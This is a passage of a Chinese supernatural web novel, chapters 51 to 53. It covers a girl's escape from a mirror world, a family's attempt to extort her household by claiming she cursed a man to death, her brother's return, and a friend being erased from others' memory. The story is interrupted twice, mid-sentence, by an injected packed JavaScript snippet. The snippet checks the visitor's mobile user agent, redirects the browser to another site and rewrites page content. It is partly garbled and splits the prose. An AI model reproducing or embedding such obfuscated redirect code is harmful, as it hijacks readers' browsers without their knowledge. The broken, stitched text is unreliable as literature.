但这一切并没有停止,红色如潮水蔓延,没多久安然整个左眼便被红色占据。就在她以为那些血色掌印会冲破对方眼眶撕碎一切时,却听到了熟悉的铁链拖曳的声音,紧接着另一道气息从对方捂着眼睛的指缝中溢了出来。不同于之前单纯的压制与毁灭,这道气息令姜慧战栗的同时又带着如罂.粟般的致命吸引。 同样被震慑的还有那些血红的掌印,锁链响起的瞬间,它们便慌乱的如同遇见天敌的蝗虫,眨眼间便散了个彻底。但安然的瞳孔并没有恢复正常,而是从瘆人的红色变成了无尽的黑。 那是... “黄泉路。” 这呢喃一出口,不止捂住眼睛的安然,就连姜慧自己也当场愣在了原地。这像是某种印刻在她灵魂上的感应,哪怕她从未见过,但还是能分辨出那是源自于本能的恐惧与敬畏独属于地府入口的气息。 姜慧下意识看向身后。 就见刚还在银色球体中悬浮的光点像是受到了某种牵引,它们从圆球的屏障中不断钻出,最后不受控制地朝着安然漆黑的眼眶飞去。 安然捂着眼睛的手不受控制挪开,眼睁睁看着那些光点没入自己的左眼然后消失不见。她知道自己该感到恐惧和不安的,但事实上并没有,除了一开始的些许疼痛外,说实在的,她现在并没有感到任何不适,倒觉得这原本就是自己该做的——送它们离开这里,去它们该去的地方。 随着光点的不断离开,原本巨大的银色球体也逐渐缩小,直到最后一个光点的消失,银球便只剩一人大小,除了那根类似某种动物的脊椎还在有自主意识似的游走于球体表面提醒着两人自己依旧活着以外,再看不出半点能恢复原状的样子。 但姜慧却像是感应到了什么,她的眼睛一瞬不错地看着那个圆球,脸上的不知所措渐渐褪去,眉间染上了一丝淡淡的笑意,随后那双含笑的眼睛看向安然,她的嘴唇动了动,无声地说出两个字:‘谢谢’。 安然瞳孔骤然一缩。 下一刻,姜慧的身形便开始淡化,眨眼的功夫,她便如之前那些扭曲的灵魂一样成了一个纯白的光点。唯一不同的是,她并不是自己飞向安然眼眶而是被一道暗金色手绳粗细的锁链拖曳着,直到没入左眼,一道清脆的破碎声响起,那道束缚才如被风吹散的细沙彻底散了个干净。 安然眼眶一热,眸 眸中黑色迅速褪去,顷刻便恢复成了之前的黑白分明。 眼前的一切发生的太快了,她有种自己还没来得及理清思绪所有一切就已经结束了的感觉。手指不自觉覆上左眼,心中隐隐有了点猜测。 “咔嚓——” 安然回头,就见一道裂痕凭空出现。 “咔嚓——” 又是一声脆响。 身体先思维一步做出了反应,大步向前跑了段距离,才猛地想起秦以淮还在后面。 但已经来不及了,如同被随意推倒的多米诺骨牌,身后空间开始不断被掉落的碎片吞噬,这会儿看过去哪儿还有半点儿秦以淮的身影。 安然抿唇,眼中的挣扎和崩坏的空间越来越近。 “喵——” 一声清晰的猫叫如炸雷般在她耳边想起,理智瞬间回笼,她不再犹豫,转身就跑,在被身后的破碎的空间追上之前看到了隐匿在黑暗中的熟悉的楼道...... ******* 安然不知道自己是怎么回到家的。 倒在床上的时候,大脑仍旧一片空白,整个人像是被人牵着线的木偶。 秦以淮不见了。 瞿星瑶也不见了。 漆黑的楼道只有她一个,手上还拿着那根散着暗黄火苗的刻着她生辰的蜡烛。如果不是跟着她一起进来的两人都不见了,安然甚至以为之前在镜子里发生的种种不过是自己的梦境。 过去她不明白幸存者有什么好愧疚的,又不是造成灾难的罪魁祸首,不是该庆幸么?庆幸能会呼吸,能和家人团聚,还能看这世上的一花一木...可如今这顶‘幸运的王冠’掉在自己的头上,她才明白这东西究竟有多沉重。 也许自己骨子里就是个自私凉薄的人,否则下意识的行为就不会是逃跑而是去救人。 对秦以淮这样。 对丁筝也是这样。 不过...都没关系了。 过了今晚,也许用不着一晚... 安然拿出手机,盯着那个熟悉的号码看了很久,在屏幕熄灭之前按下了通话键。 没有人接听。 直到嘟嘟嘟的忙音消失,才扯过一边的被子蒙在了头上,灯没关,鞋子也懒得脱,她像个将头埋进沙子里的鸵鸟,眼泪在被窝朦胧的灰色里缓缓滑落...... “哥,我想你们了...” ********** 窗帘没拉,这会儿阳光透进窗户懒洋洋洒在地板上。 这一觉安然睡的昏昏沉沉。她觉得自己应该是睡了的,但又感觉好像睁着眼睛挺了一宿。 将开了一夜的灯关掉,弯腰拿出拖鞋换上,又将身上的校服全部褪去,裤子落在地板上发出沉闷中又带了点清脆的哐啷。 校服裤子的口袋里有枚铜镜还有一颗半圆形的黑色石子,铜镜是从老头子房间找到的那枚,那石子就眼生了,手感光滑,入手微凉,看上只是去比围棋里的黑子稍微饱满了一点。 安然拿在手上仔细端详了会儿,也没看出个所以然来,便随手将两样东西放在了课桌上。 这一觉虽然睡得不怎么样,但走出的理智这会儿已经回来了。对于自己能活着见到今早的太阳是有点意外的。毕竟她昨晚是真真切切许了愿,不同于上一次在湖面上时耍的那个小心机。 上一次,那东西问有没有愿望的时候,她耍了个心眼,说‘希望这个愿望能留到下一次。’ 本是试探。 却没想到那东西只是在短暂的沉默后轻笑了一下,竟真的将她从那片水域里拉了出来,尽管呛了好几口水,但奏效了。 她那时以为对方没有再次诱惑自己许愿的机会。 但现在,她才意识到真正天真的人是她自己,让一个能招鬼却没有自保能力的人许愿太容易了,对方甚至不屑于用小手段逼迫自己,自己就会像那只被赶着走上绞架的鸭子,上赶着将自己的脖颈套上绞索。 她承认, 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哪怕自己没有像他们一样自保的能力,但早点学习一些相关的知识也好啊,最起码不至于像现在这样两眼一抹黑,像个闯进高端局的菜鸟被那些东西吊着打! 想起这段时间自己几次差点没命,而这两个本来最该待在她身边的最亲的人却齐齐失联,安然就忍不住红了眼眶,泪珠在眼底打着转,断了线的珍珠似的不要钱的往下掉。 安然发狠般地擦了把脸上的泪痕,暗自下了决定,等这两人回来,要是给不了她一个正当合理的理由,她就离家出走! 这回要不是秦以淮... 她根本拖不到姜慧离开! 等等。 姜慧的执念是救出林异,而林异又和秦以淮成了一个无法分割的整体,那是不是意味着秦以淮其实并没有死? 她舔了舔因为水分缺失而微微翘起死皮的唇,这念头就像是雨后的甘霖灌溉在原本已经干瘪的希望上,长出了新的芽。 说到底是自己没能将人带出来... 安然垂下长而柔软的睫毛,连带的遮住了那双如黎明破晓般坚定而又清澈的眼。 总是要将人带出来的。 她抿了抿唇,将地上的脏衣服一件件捡起来扔进了衣篓。 捡到一半,一声唢呐奏起的哀乐由远及近顺着窗沿的缝隙传进了她的耳中。 杏花街虽说是白事一条街。 但这么些年在这儿办丧事的,今天还是头一遭。 安然觉得新鲜,靠近窗边往外瞄了一眼,只这一眼,她就察觉出了异样。 和她往常看到的送葬队伍不一样,加上最前头吹唢呐的男人一共才4个。 其次分别是捧着骨灰盒穿着孝服头戴宽大孝帽的孩子以及一对相互依偎着的夫妻。 男人拦着女人的肩膀,女人几乎依靠着男人才勉强支撑住自己的身体,怀里捧着黑白遗照,哭的不能自已。 街道两边的店主站在自己店铺门前,三两成群凑着一起,对着那四人指指点点,安然听不见他们说什么,但多少也能猜到一点。 虽说她对送葬禁忌一窍不通,但在清晨6点多就送葬的也是大姑娘嫁人---头一回了。 尤其这几人还是从街头走向街尾,要知道杏花街的街尾就只有她家这一间店铺! 51. 第 51 章 街上的唢呐声不知道什么时候停了。 安然放下衣篓,也没在意,刚打开洗衣机的盖子,就听楼下有人“啪、啪、啪”的拍门。 还没下楼,她就察觉到了不对,一楼木门震颤被人拍的震天响,说是拍,听上去更像是在撞,间或还有隐隐的啜泣声从门缝里渗进来。 “啪!啪!啪!” 铜质的门环和木制的门板撞击,发出沉闷的声响。 “开门!我知道有人在里面!”说话的是一个陌生男人,嗓子里像是卡着口浓痰,尾音呼噜呼噜的,听上去让人不太舒服。 安然皱眉,还真是冲着他们家来的,而且对方这搭台唱戏的架势,一看就是有所准备。 难道是老头子那边出什么问题? 她没有贸然开门,而是看了眼手机屏幕上的时间。 【6:45】 往常这个点杏花街别说人,就是鬼都没有一个,但清明将至,听门外的动静,已经聚集了不少人。 她快速编辑了一条信息发了出去。 “这一大早的,你们穿成这样堵人家门口是要干嘛啊这是?”一道中气十足的询问打断了对方拍门的动作,也让安然按在门锁上的手不由一顿。 “就是!一路上吹吹打打的,听的人脑仁疼!” “我们家囡囡被吓了好大一跳!不是我说,你们这一大早的堵人老安头家门口是想干嘛呀?!” “.......” 街坊邻居你一言我一语的,门前很快就吵嚷了起来。 送葬送到人家门口,在怀阳县这种小县城其实是非常忌讳的,尤其杏花街上这些干白事行当的店主。他们对这条街的风水有种近乎虔诚的迷信。 比如从不在杏花街办丧事,从不在街上燃放爆竹烟花以及每年的寒衣节都会在门上系红色的带子... 安然听老头子提过一嘴,但那时讲的语焉不详她又不是很想听,所以这会儿想要拿出来用一用,也是两眼一抓瞎。 这时门口的男人说了句什么,不知道是哪儿的方言,听语气不像是什么好话。 其它人显然也听见了,再说话时声音也是带了点火气。 安然站在门后,手指极轻的摩梭着门锁,并不着急出去。 “各位大爷...大娘...大哥大姐...”一道柔柔弱弱的声音响起,声音不大还带着浓浓的鼻音,“谁有亲人过世不想着能早点入土为安?”她的声音突然拔高:“可我哥哥死的冤啊!但凡有半点法子,我们也不至于出此下策!今天来,我就是来讨个说法!问个明白!真要是影响到各位了,我在这儿给大伙儿赔个不是,是我们考虑不周了...” “她这话什么意思?” “是说老安头把人害死了?” “这话可不兴乱说。老安头能是那样的人么...” “怎么不可能了?你忘记老安头是干什么的了?人家要不是有天大的委屈,能穿着孝服来门口闹么?” “我看也不像假的...” “喂,你可别乱说!人老安头给你家介绍生意的时候,你那脸上都笑出花儿来了!做人可不兴过河拆桥啊...” “一码归一码好吧?!再说了我只是说有那种可能,又没说就是了...” “......” 安然的眼睛微微眯了起来,这个女人... 她知道不能再任由对方继续下去了,有些话一旦出口就会让人下意识产生先入为主的念头。 她猛地拉开房门,声音里带着些愤怒:“我也想知道...这位阿姨讨得什么公道连警察叔叔都解决不了,非要一大早穿着丧服吹着唢呐还捧着骨灰和遗像来讨...” 话说到一半,安然的喉咙像是被人塞了个冰块,从头凉到了脚。 女人手里那张遗像上的人,她见过。就是上次载她去动物救济站还想要收养小黑的那个出租车司机。 她的心头蓦地生出了一种奇怪的念头,这家人可能不是来找老头子的,而是来找自己的。可找她做什么呢?说白了她和那个司机不过是乘客与司机的关系。 女人看到安然也是一愣,不知道是没想到她会突然开门还是没想到,还是没想到她看上去年龄不大一开口却能直指问题的核心。 法治社会就是这点好,有事找警察,就是封建社会也会向官府衙门伸冤,而不是空口白牙穿套孝服说你们家害死人了就真的害死人了。 但女人对这一点似乎是早有准备,她无视周围的指指点点,没有直接回答为什么没去报警的问题而是将身后捧着骨灰盒的孩子轻轻拉到身边。那孩子的大半张脸都被寿帽遮住了,其中一根手指的指甲卡在骨灰盒的缝隙里也没察觉,只是动作幅度极小的瞥了眼安然所在的位置。 “仔仔...”女人蹲下来,像是没注意那小孩儿略略向后躲避的动作,自顾自地整理了一下对方的孝帽,露出了藏在下面了脸:“你把那天跟我还有爸爸说的事,当着门前的这些位阿公、阿婆、叔叔、阿姨们再说一遍。” 男孩下意识看了眼门口又像是被是什么烫到了般快速收了目光。 这世界还真是小。 那孩子不是别人,就是上次领头抓猫的那个男孩儿。 安然垂眸,手指有一下没一下的摩梭着校服裤子上溜出来的一小节线头,前后这么一琢磨,她就知道是什么回事了。 自己之前吓唬过那孩子,说他叔叔这段时间会倒大霉,要是大人可能顶多啐一句,听听也就过了,但小孩子毕竟不同,尤其还是在他的叔叔真的死了的情况下。 他会害怕,很害怕。怕自己成为下一个,所以在惶惶不安的情况下将这事告诉给了父母。 安然的视线落在还在轻声宽慰男孩的女人和站在边上一副不耐烦想发火却又忍住了的男人身上。 那孩子是真的怕,但他的父母就未必了。她也不觉得他们对那个死去的司机有多深的感情。如果自己没记错,男孩管那司机叫的是叔叔,而不是舅舅。 这对夫妻在来之前肯定已经打听过了她的情况,老头子的职业就是他们敢来这里闹事的依仗。但凡换个家庭,他们要是敢说出那么荒唐的理由估计会被木棍打出这条街。 但安然不一样。 神棍加诅咒,简直堪称绝佳CP。以老头子的身份和本事,就是再荒唐的理由,只要搭上玄学的边都会变得顺理成章起来。 别看这些邻居这会儿看上去好像是都站在她这边的,但只要今天这事儿解决不好,明天绝对会出现无数个故事版本,离谱程度百分百是各种狗血buff叠满的集合。 而那对夫妻的所求... 安然垂下眼眸。 大概是打算借着死掉的男人扇一扇风点燃门前那堆看热闹的火,借机来她这儿敲一笔可观的‘丧葬费’。她知道一旦火苗落地,燃起的绝对是熊熊烈火。那可是一个能随意操控人生死的诅咒,哪怕认人们嘴上说着无稽之谈,心里还是会揣着宁可信其有的心思,主观上一定会靠向那对夫妻。 谁让人都是习惯性排外的呢? 所以... 安然往前走了两步,那男孩因为她的靠近吓得立马躲到了女人的身后,完全没了之前嚣张跋扈的样子。那女人也像是护崽的母鸡张开双臂将她的视线挡了个严实,眼神像是淬了毒:“怎么?害死我哥还不算,还想伤害我儿子么?!” 一旁的男人也挡在了自己的妻儿面前,活像安然是什么吃人的怪物。 周围看热闹的也回过味来,敢情这一家三口要讨公道的不是老安头, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850103|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而是老安头的孙女。可这小姑娘不过就是个还在上高中的孩子,能和杀人扯上什么关系? 但人就是这样,总有办法自圆其说,就比如他们这边年初一这天是不能花钱,寓意是新的一年守住钱包不漏财,但真要花了,也会说越花越有。 这就和这些看热闹的人一样,尽管心里不觉得一个柔弱的高中生能对那么个大汉做些什么,但还是有不少异样的眼光落在安然身上。 他们的想法大约是一致的:空穴不来风,苍蝇不叮无缝的蛋。为什么不说是别人非说是她呢?总是有原因的吧... 安然像是根本没注意到那些异样的目光,踉跄着后退了好几步,瞳孔放大,眼眶泛红,那双懵懂的如同小鹿的眸子上溢了一层水光,嘴唇翕动,一副完全被女人的话吓到了的模样。 长得好看的女孩儿总会受到特别的优待,尤其当对方还是个茫然无措的小姑娘时,总感觉那要掉不掉的眼泪下一秒就要滴在人的心尖上。有几个看不过去的直接走出人群,挡在那个男人面前,将安然挡在身后:“你们一帮人欺负一个小姑娘有意思么?!” 女人看着安然这副泫然欲泣的模样,微微皱眉,刚想说点什么,就被安然颤抖的似乎是用尽所有力气才勉强控制住情绪的声音打断:“可...可我连你哥哥...连你们是谁都不知道...” 安然这话一出,落在那对夫妻身上质疑的目光更多了,一个是如花般年纪的高中生另一个是四五十岁的糙汉,彼此间本就风马牛不相及。 女人一把将身后的男孩拉出来,安然在她开口前抢白:“我们老师说过凡事都要讲证据,总不能因为我家大人不在家,您就上嘴唇一碰下嘴唇造谣说我害死了谁...” 几个相熟的邻居才突然反应过来,老安头似乎有一阵子不在家了,过去好歹安然还有个哥哥配着,但自打对方上了大学,平时几乎都是自己照顾自己。这样一个柔柔弱弱的小姑娘如今还要遭这飞来横祸,想来也真是可怜。于是他们看向安然的眼神多了几分怜爱,看向那一家三口越发厌恶起来。 安然说着就从口袋里拿出了手机,在手机上拨了一串号码,然后按下了免提。她的动作一气呵成,快到所有人都还没有反应过来,电话那头就已经接通了。 “你好,这里是怀阳县派出所...”字正腔圆的女声从听筒了传出来,也清晰地传进了在场地每个人的耳朵里。 站在一旁的男人明显是慌了,上前几步伸手就要抢安然的手机,却被一个大爷一把抓住了手腕然后快速往后一拧,再将人往下一压,一声杀猪般的惨嚎响了起来。 男孩一直压抑蛰的情绪再也绷不住爆发出来,哭声、男人的痛呼声,女人尖锐的骂声混作了一团。 安然往后退了两步,躲开躁乱的人群,她的声音颤抖的像只被吓破了胆的小绵羊,哆嗦着将今早发生的事讲了一遍,藏在水光后面的眼睛黑白分明,时不时地瞥向那团躁乱的人群。 吹唢呐的师傅早就不知道跑哪里去了,男孩儿被人拉到一旁抹着眼泪,男人被人按在地上,女人则是被人拉到了一旁。 她对着手机那头的接线员说起自己手机差点被那些人抢走,如果不是有老邻居们出来帮忙,真不敢想象会发生什么。说到最后声音抑制不住的似的带上了哭腔,像是遭遇的恐终于有了宣泄的缺口,眼泪啪嗒啪嗒的落了下来。 电话那头从叙述里了解到事情的前因后果后,声音轻柔地说着安慰的话并承诺很快会有警察赶到现场,让安然耐心地等一会儿。 这时,一个身材挺拔长相清俊的年轻男人从外围的人群挤了进来,只随意扫了眼混乱一片的场景便精准的将视线落在角落的安然身上。蓦地收回视线,唇角一勾,露出了个好看的弧度,“呦,这一大早的,是怎么了?” 52. 第 52 章 如果说安然之前的眼泪是在演戏,那么这会儿被发酸的鼻尖晕染开红成一片的眼眶就真情实感的多了。 “哥!” 安然朝着安宁跑了过去,像个受了委屈的孩子扑进了他的怀里。 “你怎么才回来啊!”她揪着安宁衣摆的指尖用力到泛白,连日来的惊吓和恐惧随着决了堤的眼泪冲垮了一直以来强撑着的理智。 安宁一下下抚着安然的后背,轻声安慰着,但怀里的女孩儿什么都听不见,抽噎着自顾自宣泄着、哭泣着。 眼前的一幕看的邻里们心头发酸,心里不是滋味。说白了也不过只是个十几岁的孩子,之前那点看戏的心思这会儿在安然眼泪的衬托下越发显得阴暗和难以启齿。 警察比想象中来的要快上许多。 不知道是因为愧疚还是别的什么,在询问事情起因做笔录时,很多人都争抢着说可以协同调查。 坐上警车的安然已经不哭了,却是一副蔫蔫的提不起精神的样子。安宁几次搭话一律被这丫头无视,一副和你不熟莫挨老子的模样。 安宁苦笑。 知道这丫头是真生气了。 但目光落在她细软的发丝上时,连日来绷着的那根弦还是不由自主地松懈了下来。还能发脾气,就说明事情的确像爷爷说的那样,还在可控的范围内。 “先和解?”安宁冲安然伸出小拇指,“回家后不管你想问什么,只要我知道的,都告诉你,怎么样?” 安然垂着的眸子倏地一亮,“真的?” 见安宁笑眯眯地看她,立马收敛,小脸绷着:“真的?” “真的。” 其实早在见到她哥那一刻,她就没那么生气了,对家人的思念和见到对方完好无损出现在自己面前的喜悦足以让她原谅一切。 可一码归一码。 不生气不代表没有疑问。 她哥这人鸡贼的很,不趁着愧疚的这会儿讨点福利,等过了这村想要再知道点什么就没那个店了。既然他哥说了会告诉她答案就一定会做到,这一点从小到大就没变过。 安然压下唇边的小得意,猛地扯过身边人的衣角擦掉泪痕,然后又解气般擤了下鼻涕。 安宁任由她胡闹也不制止。哪怕安然不说,他也能猜出来这些日子她过的有多提心吊胆。 安然白了她哥一眼,装作不情愿地伸出小指勾了上去,“先和解。”也不等安宁问,看了眼车窗外的警察,随后压低声音将今早事情的来龙去脉还有自己的猜测都讲了一遍。安宁静静地听着,半阖地眼眸闪过一丝寒光,很快又消失不见。 “他们之前没去报警就是知道这事就算告诉警察也不可能立案。但这会儿赶鸭子上架,警方那边问起缘由,他们肯定会将那件事说出来,毕竟事出有因总好过无缘无故地闹事。” 这一点,安然也想到了。 “杏花街周边的几条街都有监控,其他孩子也都见过你,这事瞒不过去。所以警方询问的时候,你知道什么就答什么,实事求是就好。” 安然点头,但心里还是没底。这会儿想起来还有点后悔,如果不是但当时嘴欠非要吓唬一下那个孩子,这会儿就不会遇到这种麻烦事了。 “后悔了?”安然一看他妹妹的表情就知道她在想什么,伸手在她脑袋上揉了一把:“有敬畏之心是好事。能想到吃人血馒头主意的人家,应该不会是什么思想端正的家庭。那孩子还知道怕,是好事。否则今天他敢虐猫,明天就敢杀人。别担心,有我呢。” “谁担心了...”安然一把拍开她哥的手:“头发都被你弄乱了。” 手机屏幕这时突然亮了起来,低头一看竟然是班主任的电话,安然这才想起来自己之前给班主任发了条信息,赶刚接通电话,班主任那头焦急的声音就传了过来:“安然你现在怎么样?我还有差不多还有还有两个转角就到了...” 安然心头一阵愧疚,赶忙将现在的情况说了一遍。在她再三保证有家人陪同并能应付的情况下,班主任才放心地挂了电话。 随手将手机揣进口袋,那两个了解情况的警察也上了车,看着安然肿的像对核桃似的眼睛,眼底闪过一丝同情,将手里的矿泉水递了过去:“同学,别怕,没事了...” ************** 从警局里出来,已经10点多将近11点了。 灰白相间的天空,淅淅沥沥的雨丝缓缓飘落,被偶尔路过的微风吹的到处都是。 安然回头看了敞开着的警局大门一眼。 这里和她想象的很不一样。并不像电视里演的那样,嘈杂而凌乱。相反,里面很整洁,没有大喊大叫的疯狂犯人,更没有堆得到处都是的犯罪资料。每个人都有自己的工作并井然有序的进行着。 她喜欢那种氛围。 “怎么,舍不得走了?要不再陪你进去坐会儿?”安宁一脸坏笑地看着她。 安然无语地给了她哥一个大白眼,用手遮住头顶,直接走下了台阶。 “欸,你看着点路...” 其实询问的过程还算顺利,和他们之前的猜测一样,那家人的确打算利用安然威胁那小孩的事做文章,非说是安然咒死了女人的哥哥。 但警察显然不是那么好糊弄的。 别说这世上没有诅咒这种无稽之谈。 就是有,也不会有人一边咬死对方咒死了自己的家人,另一边又跑到那个能咒人死的人家门口挑衅。 这不前后矛盾么? 最后那两夫妻不知道是感觉索赔无望,还是招架不住警察一遍遍的询问,最后将所有的一切交代了,他们打听到安老头是看风水的,在他们印象里看风水的都很有钱,而且都很爱惜名声,就想趁着对方家里没有大人把事情弄大,到时候能好好敲上一笔。 临走前,那两个带他们来警局的警察将事情的原委说了一遍,询问了安然的诉求。毕竟对方这是诽谤加勒索,虽然未遂,但这事往大里说也能大,往小里说也能小,具体还是要看当事人的想法。 安然几乎没怎么犹豫就选择了私了,安宁让对方将事情的经过写下来,签了名字按了手印道个歉也就算了。 临走前也不知道是觉得安然就这么放过那对奇葩夫妻实在有些太心软还是单纯地希望这个消息能让她开心一点,那个接待他们的警员偷偷告诉他们兄妹,即便安然不追究他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850104|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们的责任,他俩一时半会儿也没办法来离开警局了,他们虐猫视频上传的那个网站上,不止有凌虐宠物的视频还有虐待孩子、女人甚至男人的视频。 “就这么放过那两个人了?不像你的风格啊!”安宁跟上安然,将身上的外套搭在她的头上:“娇气。” “这雨凉丝丝的落在头上不舒服。”安然撑着外套整个人都躲在了下面,瞥了她哥一眼,“别以为我没看到你做了什么。”说着靠近了一点,露出个有些讨好的笑,“哥,带我一个呗。” “别乱说啊,现在是法治社会,你哥我可是一等一的守法公民。” 安然‘切’了一声,压根就不信安宁的胡扯。她哥刚刚在警局的时候突然‘情绪失控’冲向那对夫妻的时候一定是做了什么。 但这会儿她哥越是不说,她的心里就越是小猫似的乱抓。 安宁见自己逗的差不多了,将掌心摊在了安然眼前,只见两小撮头发正散落在他修长的手指上。 “那两个人的头发?” 安宁点头。 “你打算怎么做?”安然好奇。 “他们不是喜欢冤枉别人,喜欢说谎么?那就让他俩狗咬狗呗,夫妻这么多年肯定知道很多关于对方的秘密。既帮警方查了案子,也算为你报了仇了。饿了么?”安宁拿出来一个黄色的小布包,将头发放了进去。 安然刚想摇头,就听她哥说:‘给你做牛肉面。’于是她赶紧改口,“饿了。” 安宁笑了笑也不拆穿。 “对了,哥,老头子呢?” 安宁:“爷爷那边还有点收尾的工作,等忙完就回来。” “欸,哥,你们这趟去的哪儿啊?也太偏了吧?!电话都联系不上...” 安宁脸上的笑容一僵,就听安然继续抱怨:“你这回请这么多天假,不会要挂科了吧?老头子也太不靠谱了,一把年纪了还接那么危险的活...” 安宁眉眼舒展开来,看着躲在衣服下的安然絮絮叨叨,唇角不自觉勾起了一抹笑。 ...... 杏花街。 回家的路上碰到刘叔和李叔,两人捶胸顿足,一个劲儿地埋怨对方非要喝酒,要不是喝多了起不来,哪能让安然受那气! 直到后来,安然才知道,张叔和李叔给还在警局的安宁打过电话,在知道发生的这事后,两人站在街上骂了整整一个小时。还是一边走一边骂的,一路上没有一个人敢出来回嘴的,要知道这俩人真想整谁,就没有失败的,所以也就只能任由这他俩骂。 安宁一回家就直奔厨房,安然看了眼时间,这个点学校已经放学了,她拿出手机给班主任拨了个电话,电话很快接通。 班主任听完事情经过,长长吁一口气:“你这样处理是对的。虽然那家人的做法很让让人不齿,但有些人就像掉在地上的口香糖,一旦粘上就很难撕下来,有时远离不是害怕,而是不想脏了自己的手。” 安然觉得班主任说的挺有道理,于是点头嗯了一声,蓦地她想到了什么,“对了,老师,今天秦以淮有来上课么?” “秦...秦以淮?咱们班的?咱们班...有叫这个名字的同学么?” 53.第 53 章 “安然!面好了,来拿碗和筷子!”安宁从锅里舀了一勺烫递到嘴边吹了吹,牛肉汤散发着浓郁的肉香味,牛肉上筋的位置呈一种剔透的淡黄色,这种带点筋的牛肉口感上不会很柴,软糯入味,是安然最喜欢的牛肉的部位。 嗯...咸淡也正好。 安宁回头,却没见安然的身影,于是对着厨房外又喊了一声:“安然!下来吃饭了!” 还是没有人回应。 安宁纳闷,上楼了么... “安然?” 安宁走出厨房,就见一道纤细的背影一动不动像被人施了定身术般站在楼梯口... 不是安然又是谁?! “安然!” 安然感觉自己的眼球像是生了锈,花了很长时间才终于将视线移到了她哥身上。她像是忘记了怎么说话,嘴巴开合了几次,才吐出了一句如同老旧磁带卡顿了的声音,“哥...我朋友...我朋友...消失了...他好像被...这个世界...抹掉了...” ************* 替安然请了假,安宁才隐隐觉得事情可能比他和爷爷预料的要严重很多。 一个人世界观的摧毁和重组并不像他们之前想的那般容易。 之前,他和爷爷理所应当地觉得生在他们这样的家庭,有些事接受起来远比其它人要容易的多。但如今看来,当年那件事对安然的影响...远比他们想象的大得多。所以她才会打心底里排斥甚至是抗拒。 她像个固守己地的钉子户,每一次和鬼怪扯上关系的遭遇就相当于一次暴力地、无序地拆迁。当遮住头顶的瓦片彻底变成了一片废墟时,她看似很快接受现状并付诸行动,但似乎并不是。于安然来说,被剥夺的远不止那间保护她的房子,还有屋外的光明。 没有他和爷爷的引导,她便如同乍然失明的人,认知变得混乱而无序,一边摸索着前进,一边又忍不住怀疑和否定。 那个秦以淮应该就是在这个时候出现了,一个于这方面有些了解,又愿意对她伸出援手的人。 尽管安宁不愿意承认,或许就连安然自己都没察觉,在她重塑世界观的时候,那家伙在不知不觉中成为了某种类似雏鸟情节中鸟妈妈的存在。 他成了安然的锚,她的灯塔,她的见证者。 本该是他或者爷爷的位置...如今却被一个陌生人占着。这让安宁着实是有些不爽,只是不爽归不爽,说到底,他心里是感激的,感激对方在他们无法出现的情况下,保护了自己的妹妹。 但如今这个唯一的见证者突兀的消失,让安然本就根基不稳的世界观再次开始摇摇欲坠起来。 比起一个活生生的人被强行抹去,那个人其实是自己臆想出来的...在安然甚至是大多数人看来更合理也更容易接受。 他倒宁愿那个秦以淮是她臆想出来的。 秦家... 他听爷爷说起过。印象里,爷爷在提及别人时很少会有那样鄙夷的口吻,所以直到现在,他还记得每一个字:‘秦家?哦...那个寄生虫一样的家族啊...’ 寄生虫... 可寄生虫可比那些豺狼虎豹难对付多了。 安宁看着安然沉寂的侧脸,拨弄开散落的发丝,耳边似乎还回荡着安然绝望的声音:“脸消失了,秦以淮消失了,如果能证明那些存在的东西都消失了...我经历那些事真的是真实发生过的么?哥...我是不是...疯了?” 他在床边坐了很久,直到眼底的心疼几乎快要抑制不住,才压抑着缓缓吐出了一口气,他庆幸自己这会儿能在安然身边,也恨自己此刻的无能为力。 爷爷说有些事只能安然自己经历,依赖与她而言不是好事。 可家人不就是相互依赖,相互依托着往前走么?他知道爷爷和他的想法一样,那句话是在提醒他,但何尝又不是提醒爷爷自己? 但真要能放手不管,这些年他们也不会一直奔波到处去找解决的办法了。 安宁眼眸半阖,让人看不清他眼底的情绪。 忽地他从床边站起,掏出手机,蹑手蹑脚地走出房间,房门关闭的瞬间按下了一组号码... ********* 安然做了一个梦。 梦里是那棵包裹着心脏形状扭曲近乎枯萎的大树。 漆黑的铁链紧紧缠绕住树身,勒出一道道深浅不一的凹痕。 安然绕着树身走了一圈,发现似乎和上次有了些许不同。那次她数过,树身上一共是13道锁链,但现在就只剩12道了。她不信邪的又数了一遍,的确少了一道。 不是梦。 竟然...是真的。 直觉告诉她,这些束缚着树身的锁链不是什么好东西,可一想到那灼热温度,说一点不胆怯她自己都不信。更何况看着自己身体被烧成根根白骨,真心不算是什么愉快的经历。 怪不得老话常说初生牛犊不怕虎,有时候真的只有在无知无畏的时候才会有胆量去尝试。没被蛇咬过的人,又有什么资格嘲笑人家害怕井绳? 安然站在原地,十根手指张开又攥紧,还没开始,指尖就已经开始发麻了。 她看着那些锁链嘴唇蠕动,离的近了才能勉强听见一些类似‘你能行的’‘别怕’‘很快就结束了’之类的自我催眠的话。 絮叨声倏地停了,她深吸一口气,将手放在其中最细的一条上,冰冷刺骨的触感直冲天灵盖,她猛地缩回了手,掌心一片紫红。赶忙凑到嘴边哈气,但那点热量也不过是杯水车薪。 她使劲甩动双手,像是要将那种冰冷的触感从指尖甩出去。 手指好不容易恢复了点知觉,安然才重新打量起那些锁链,她记得上一次的触感明明是温润的。 难不成每次进来都不一样? 